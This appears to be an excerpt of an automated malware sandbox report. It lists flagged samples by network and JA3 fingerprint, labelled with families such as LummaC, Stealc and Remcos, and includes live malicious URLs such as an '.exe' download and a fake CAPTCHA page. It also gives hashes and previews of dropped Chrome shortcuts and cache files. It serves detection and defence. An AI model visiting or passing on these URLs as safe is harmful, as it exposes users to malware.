	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	94.245.104.56
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	https://www.figma.com/files/team/1440352672505295724/recents-and-sharing?fuid=1440352668792061854	Get hash	malicious	Unknown	Browse	150.171.27.10
MICROSOFT-CORP-MSN-AS-BLOCKUS	Portfolio Review _2024.html	Get hash	malicious	Unknown	Browse	40.126.32.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	mips.elf	Get hash	malicious	Mirai	Browse	20.232.217.209
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	20.189.173.25
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	94.245.104.56
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	https://www.figma.com/files/team/1440352672505295724/recents-and-sharing?fuid=1440352668792061854	Get hash	malicious	Unknown	Browse	150.171.27.10
CLOUDFLARENETUS	Portfolio Review _2024.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	http://jofilesjo.com/error.exe	Get hash	malicious	Unknown	Browse	172.67.68.105
	401(k) for Corerecon.html	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://recaptcha-checking-v3.b-cdn.net/verifyme.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	1.1.1.1
	INQUIRY_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://go.smarticket.co.il/ls/click?upn=u001.fgiCeFBep9-2Bp-2BI-2FBS-2FQzpCDRuDKpHPATSd7hVHBJ-2BSFdoEzv8Zw4NZGPSxyEm04-2BRZN-2FI0i4vDO6mMH-2FuoydnhnUsA7HKo9jpFeuvWWHrSZsS-2Fp6iuv8Df7jeEg4qiKp1G4MLpp4xeJ36uSp7n3xgw-3D-3DpecL_0T32ClFdYnPySZLQz4syRs0a6pDklsNoDuE6mmoJEsYczvuX7YdBHfVYJnL9oN7YZH4IR-2BKAjpUiAxVS1qn5gMuUZULkK04e-2BYPo9lpRMUYn1Fflii63SoImq2ljNdFA1OxxkzwNzY1eX51qvYcJgZ-2FoqkGN1iWP-2BFxjSYXiYLKJq9-2BBbJ3-2FzBQSSoWc2gQKdQDo2a5SBu0-2BD-2BDQdRU5BQ-3D-3D	Get hash	malicious	Unknown	Browse	104.17.25.14
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	http://eliztalks.com/wp-config.js	Get hash	malicious	Unknown	Browse	23.1.237.91
	87654785457596574686FKHN-Copy.pdf	Get hash	malicious	Phisher	Browse	23.1.237.91
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://www.oncloudxsouthafrica.co.za/collections/all-c-0.html?&gender=1	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://www.dropbox.com/l/scl/AACfaxhMBCajpVJfxiny0jrZK6hv1s8xd2M	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://t1.a.editions-legislatives.fr/r/?id=hfe20c57a%2C3602a3f1%2C7f94ba88&p1=//t1.a.editions-legislatives.fr/r/?id=hfe20c57a%2C3602a3f1%2C7f94ba88&p1=//colignymart.com/kiloa/memei/QepXS7lFNwbUolrMPBrA5Cn1RJP/a3Jpa29yLnllbWVuamlhbkBzcnMuZ292&..=c&ago=212&ao=817&aca=-11&si=-11&ci=-11&pi=-11&ad=-11&sv1=-11&advt=-11&chnl=-11&vndr=1363&sz=539&u=eTLPPreWarranty%7CConsumer&red=http://www.lampsplus.com/?sourceid=eTLPPreWarranty&cm_mmc=TRA-EM-_-LP-_-eTLPPreWarranty-_-tlogo&counterid=tlogo	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	http://eliztalks.com/wp-config.js	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://www.paypal.com/signin/?returnUri=%2Fmyaccount%2Ftransfer%2FpayRequest%2FU-1A856199AY9332828%2FU-77630530J42133249%3FclassicUrl%3D%2FUS%2Fcgi-bin%2F%3Fcmd%3D_prq&id=x4wp2RUmKXGU83Jd60oXqZdbNaAB4UhpJw4A.w&expId=p2p&onboardData=%7B%22signUpRequest%22%3A%7B%22method%22%3A%22get%22%2C%22url%22%3A%22https%3A%2F%2Fwww.paypal.com%2Fmyaccount%2Ftransfer%2FguestLogin%2FpayRequest%2FU-1A856199AY9332828%2FU-77630530J42133249%3FclassicUrl%3D%2FUS%2Fcgi-bin%2F%3Fcmd%3D_prq%26id%3Dx4wp2RUmKXGU83Jd60oXqZdbNaAB4UhpJw4A.w%22%7D%7D&flowContextData=rJEDMuqXOHvj3E4Xqee4TJrpH0yS3i0-L1aDZuSDahKFB0OfOcuDAlxm_0M5Ubdc0ovfBJsmVPh8V0xxj3Fj-jL1pDEjzZXbSFx3oGm782P2l2ClRKt5Tg4HaLdY7a5agl75BZWTfqGUoK21DzHAjn1ZzwB4cHlE2xNmSofOhY9eCJeN9IzINAo1Y0VwMbAz_9hKqbv_N3UNRr6ldWkvwl6vuUacgbkE_SUfKB2fRyRqHqyPhOED3_9zyxA9XG6tpv71j-BSBqPxdGk09L9Cebz49cjzxXoPiVibFBG4RQ0rHrPokjksEXTCG2F0j2gFPXI0xsSjWnCRhVvjeYQ6Bv5lgbaBGPSp8S-U9P1SucMa3p7xZy-eG5yF-VzVRZiwC1eVU5NgaXx51Em4tQjnFVE9YpehkF9gpnmNB8fOqFWMXJ5Klz1YTzOx6TomIwmAVNZK_XE8YFJ59HpxJPie41yUUbOCj59lTY6RURRqHsTOEi0tkBWQNzZYsYvqAngTUp2pA4Zv5sLe92lMGyMw01S1i7WsRLLrQHKo0hAz3AKaWNYXoHJxt23b819B9kqC9Tdwa0&v=1&utm_source=unp&utm_medium=email&utm_campaign=RT000186&utm_unptid=820e63b7-a5d6-11ef-9a81-15d321eebece&ppid=RT000186&cnac=US&rsta=en_US%28en-US%29&unptid=820e63b7-a5d6-11ef-9a81-15d321eebece&calc=f966800b39326&unp_tpcid=requestmoney-notifications-requestee&page=main%3Aemail%3ART000186&pgrp=main%3Aemail&e=cl&mchn=em&s=ci&mail=sys&appVersion=1.293.0&tenant_name=&xt=145585%2C150948%2C104038&link_ref=www.paypal.com_signin	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Cryptbot	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	http://jofilesjo.com/error.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://go.smarticket.co.il/ls/click?upn=u001.fgiCeFBep9-2Bp-2BI-2FBS-2FQzpCDRuDKpHPATSd7hVHBJ-2BSFdoEzv8Zw4NZGPSxyEm04-2BRZN-2FI0i4vDO6mMH-2FuoydnhnUsA7HKo9jpFeuvWWHrSZsS-2Fp6iuv8Df7jeEg4qiKp1G4MLpp4xeJ36uSp7n3xgw-3D-3DpecL_0T32ClFdYnPySZLQz4syRs0a6pDklsNoDuE6mmoJEsYczvuX7YdBHfVYJnL9oN7YZH4IR-2BKAjpUiAxVS1qn5gMuUZULkK04e-2BYPo9lpRMUYn1Fflii63SoImq2ljNdFA1OxxkzwNzY1eX51qvYcJgZ-2FoqkGN1iWP-2BFxjSYXiYLKJq9-2BBbJ3-2FzBQSSoWc2gQKdQDo2a5SBu0-2BD-2BDQdRU5BQ-3D-3D	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	DRP130636747.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 18:21:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9772873568286324
Encrypted:	false
SSDEEP:	48:8MdqxjTK5mWfHVidAKZdA19ehwiZUklqehYgy+3:8TRWkYfgy
MD5:	C79875B126EF21468AECCF26E6B3A71F
SHA1:	F80BB0B0FFED0F352F77FE0E7F0A4324CF751C68
SHA-256:	455AFB0CE91A9DC10CC4538E6152F3C4FC38C281E0716E633BF504ADAB85DFC8
SHA-512:	CCB157B8A798BCD16977B186714CFCA9DE698BF805D03D7DBFAB3E7EDAB74BBA27EC48CD4069DB97DAAB9A6D832940AF35426C72F63B0995D176FE17A2DE2ACF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......E..9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IrY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 18:21:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.990502649778752
Encrypted:	false
SSDEEP:	48:8l3dqxjTK5mWfHVidAKZdA1weh/iZUkAQkqehPgy+2:8lcRWky9Qagy
MD5:	524D4D3261D8E37F9D9A37F0592B4D02
SHA1:	8D94E37E4FB29459A5FECD59D0515D872EF79B5A
SHA-256:	DBB68ECA8E6A47B98340A2794EBE6FC454E0AEACEB8193C011D9B9BACD95E93A
SHA-512:	876ADCB5647C503DC17782E72B95409420449B90D4BEFDB85745F3A850012E56C030D077F6880B05BE11B95EC8E6FA3C82155DD1418BB1B9DEA0E5073EE6CC28
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IrY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.00493449418222
Encrypted:	false
SSDEEP:	48:8x3dqxjTK5msHVidAKZdA14tseh7sFiZUkmgqeh7sxgy+BX:8xcRWkInDgy
MD5:	2D801D84BADD7F3C774AA293B0E7202C
SHA1:	0FE7763B558E1E5D3A02C7DA9A0B7E932EA5B4E2
SHA-256:	B3F0220ECD3268EBD39506522C95760B8D8C4F1A1E7FD5B5AB0EC2D1B2FCC805
SHA-512:	30D7B532BAF20F4C81E6F6CAEB26B7A7BDBDD160C0F1589A5EA7002585B339FFD5D2E2351C351A67F2240A8AD2B53C4FC637A804E5856B7B622BE2CD534C1506
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IrY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 18:21:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.993118764267449
Encrypted:	false
SSDEEP:	48:8fdqxjTK5mWfHVidAKZdA1vehDiZUkwqehbgy+R:8ERWkZJgy
MD5:	BE0A42C284BCA1323A40E729C17A4F25
SHA1:	16D0857BD292198940AB564762FAB7C9C06B04E6
SHA-256:	5AAC9AD42D6652A037FD2003F8C403B0977F104E25EAB0E909216C55DE4A5E0F
SHA-512:	3C4EDE122A95FDDECFF2DAC70092D60448F1795DB311C978D53068C59C7BAA919BE3A623A8EE38B019CEDCA25A53F138FCC167B0A0B7C1743D78C108428F3B1E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IrY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 18:21:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.977750540423645
Encrypted:	false
SSDEEP:	48:8BdqxjTK5mWfHVidAKZdA1hehBiZUk1W1qeh1gy+C:8GRWkp9Vgy
MD5:	8FC984184D7C6ADB15F0598F4D0F8269
SHA1:	AA18FC53C137AF404E4B1606D0457576B36C19E2
SHA-256:	CB3EFF7AB132712C86063C3A71FB23FF261FB6E5FC8041CB979E436F98DC4649
SHA-512:	5CC64ED095CD37186FE632C1A3CC782B6144E802005A4F4FD0CC30C1FDD6E55067B32E651A6D8BAC077DF3B086070611E4EE8F36880302F62B93DE2E1AB02814
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....e.?..9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IrY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 18:21:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9893927280737294
Encrypted:	false
SSDEEP:	48:83dqxjTK5mWfHVidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbDgy+yT+:8cRWk1T/TbxWOvTbDgy7T
MD5:	42B0C619C674BBCA1FA8BA8F8F1380F2
SHA1:	D8D1016F23C1BF4CD0258C5CEAFB73CEAF1A5192
SHA-256:	86279A342B2041E2FFCC3BC7E038E597664B4C1FAB36BFA350A26212FD98C817
SHA-512:	9338AAF245A138D21AEB54A1393D00CA21F22B4F07772920289DD3AEC9B2C4B7F30AFE3E268B4126252CC2A20FF3D432AD263A0BCA6B5E6E91695AC2479A2DB6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....`...9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IrY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
